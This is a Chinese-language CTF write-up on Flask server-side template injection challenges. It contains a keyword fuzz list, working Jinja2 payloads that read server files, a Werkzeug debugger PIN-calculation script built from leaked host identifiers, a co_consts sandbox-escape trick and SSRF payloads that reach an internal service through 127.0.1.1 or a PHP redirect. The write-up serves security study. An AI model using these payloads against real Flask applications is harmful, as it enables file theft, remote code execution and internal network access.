比较菜的复现,记录一下,
直接访问,提示方法不允许
使用burpsuite,右键-change request method
提示了个name,猜测是参数
因为题目是flask,容易想到ssti,直接试name={{2*2}}
再试,因为可能是有过滤、waf之类的name={{2-2}}
,可以看到2-2有了结果
可以确定是存在ssti的,接下来就是具体的bypass和get flag了
用burp进行一次fuzz,还做不到颅内ctf,以下是一个简单的fuzz字符list
[
]
(
\
)
{
}
_
__
.
g
''
""
request
g
namespace
__dict__
__class__
__mro__
__bases__
__subclasses__
__init__
__globals__
self
config
url_for
get_flashed_messages
lipsum
current_app
range
session
dict
get_flashed_messages
cycler
joiner
__builtins__
__import__
eval
keys
index
values
popen
read
_TemplateReference__context
environ
application
_get_data_for_json
JSONEncoder
default
system
flag
*
?
import
_IterationGuard
catch_warnings
_ModuleLock
flag
chr
subprocess
commands
socket
hex
base64
cat
read
fuzz结果,虽然这些也500了,但是看到返回长度很长,所以应该有报错信息
首先由上图确定了python3,所以python2的那些特殊技巧全部拜拜
主要过滤了import、popen、system、eval、flag、os、单引号
payload
name={{"".__class__.__bases__[0].__subclasses__()[102].__init__.__globals__["open"]("/home/ctf/app.py").read().upper()}}
源码
from flask import flask, request, render_template_string, redirect, abort
import string
app = flask(__name__)
white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
black_list = ["codecs", "system", "for", "if",
"end", "os", "eval", "request", "write",
"mro", "compile", "execfile", "exec",
"subprocess", "importlib", "platform", "timeit",
"import", "linecache", "module", "getattribute",
"pop", "getitem", "decode", "popen",
"ifconfig", "flag", "config"]
def check(s):
# print(len(s))
if len(s) > 131:
abort(500, "hacker")
# abort(500, "hacker len")
for i in s:
if i not in white_list:
abort(500, "hacker")
# abort(500, "hacker white")
for i in black_list:
if i in s:
abort(500, "hacker")
# abort(500, "hacker black")
@app.route('/', methods=["post"])
def hello_world():
try:
name = request.form["name"]
except exception:
return render_template_string("request.form[\"name\"]"
)
if name == "":
return render_template_string("hello world!"
)
check(name)
template = 'hello {}!'
.format(name)
res = render_template_string(template)
if "flag" in res:
abort(500, "hacker")
return res
if __name__ == '__main__':
app.run(host="0.0.0.0", debug=true)
先贴大佬们wp姿势,记不清官方wp还是V&N战队大佬的了
之后依次读取文件:
从/etc/passwd读取用户名
根据本地调试猜测modname=flask.app
getattr(app, ‘name__’, getattr(app.class.__name))=Flask
以上在pycharm调试是会变化,其他时候默认为以上两个
getattr(mod, ‘file’, None) = 路径为报错显示的路径
读/sys/class/net/eth0/address得到mac地址
以上跟以前没变
优先读/etc/machine-id,如果发现读不到,再读/proc/sys/kernel/random/boot_id
根据github上关于新版本pin的文档得知
新的machine-id要加上cgroup
于是读取/proc/self/cgroup并提取里面的id
拼接好作为新的machine-id放入calcuPin.py里生成对应的pin码
执行rce拿到flag
exp
import hashlib
from itertools import chain
probably_public_bits = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/dist-packages/flask/app.py',
]
private_bits = [
'2485378088962',
'a8eb6cac33e701ae867269db5ce80e7f52833efbb53e157ffd26a035d647ff1a1902fe648113ae6b0799af212f1966d0'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
另一种方式是利用python字符串的lower()方法绕开对flag的限制
payload
{{"".__class__.__bases__[0].__subclasses__()[102].__init__.__globals__["open"]("/FLAG".lower()).read()}}
hello GACTF{fac9165b6a2b5ac8bd3b99fad0619366}
# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)
@app.route('/ctfhint')
def ctf():
hint =xxxx # hints
trick = xxxx # trick
return trick
@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)
提到了ctf函数里有hint,读下,注意改成post方法,本文在前面提过怎么改。
看到Y1ng师父的博客提到了TJCTF 2018时,有个沙箱逃逸题是利用了co_consts来读常量得到waf规则
所以有payload,注意上面的请求header在get方式下是形如eval?eval=ctf.func_code.co_consts
,然后转post
eval=ctf.func_code.co_consts
(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf', 'too young too simple')
这里获取了admin的路径&端口的提示:5000
请求admin路径
得到post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path
这里还是看了y1ng师父说的,127.0.0.0/8除了127.0.0.1是loopback以外其他都被保留了,然后网络设备见到127.0.0.0/8都会以127.0.0.1来对待,所以只要127.x.x.x即可绕过。
然后看看admin下的内部类型的代码对象,可参考python文档,虽然是3的,但是暂时问题不大
co_name 给出了函数名;
co_argcount 为位置参数的总数量 (包括仅限位置参数和带有默认值的参数);
co_posonlyargcount 为仅限位置参数的数量 (包括带有默认值的参数);
co_kwonlyargcount 为仅限关键字参数的数量 (包括带有默认值的参数);
co_nlocals 为函数使用的局部变量的数量 (包括参数);
co_varnames 为一个包含局部变量名称的元组 (参数名排在最前面);
co_cellvars 为一个包含被嵌套函数所引用的局部变量名称的元组;
co_freevars 为一个包含自由变量名称的元组;
co_code 为一个表示字节码指令序列的字符口中;
co_consts 为一个包含字节码所使用的字面值的元组;
co_names 为一个包含字节码所使用的名称的元组;
co_filename 为被编码代码所在的文件名;
co_firstlineno 为函数首行的行号; co_lnotab 为一个字符串,其中编码了从字节码偏移量到行号的映射 (详情参见解释器的源代码);
co_stacksize 为要求的栈大小; co_flags 为一个整数,其中编码了解释器所用的多个旗标
主要利用的payload
eval=admin.func_code.co_consts
eval=admin.func_code.co_names
获取到的信息
(None, 'ip', 'port', 'path', 'post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path', 4, 'hacker?', 'http://{}:{}/{}', 'timeout', 2, 'requests error')
('request', 'form', 'waf_ip', 'waf_path', 'len', 'requests', 'get', 'format', 'text')
一种方式是用vps,然后重定向,如这篇文章
<?php
header("Location: http://127.0.0.1:5000/{{config.items()}}");
?>
另一种绕的方式payload
ip=127.0.1.1&path={{url_for.__globals__['current_app'].__dict__}}&port=5000
ip=127.0.1.1&path={{get_flashed_messages.__globals__['current_app'].__dict__}}&port=5000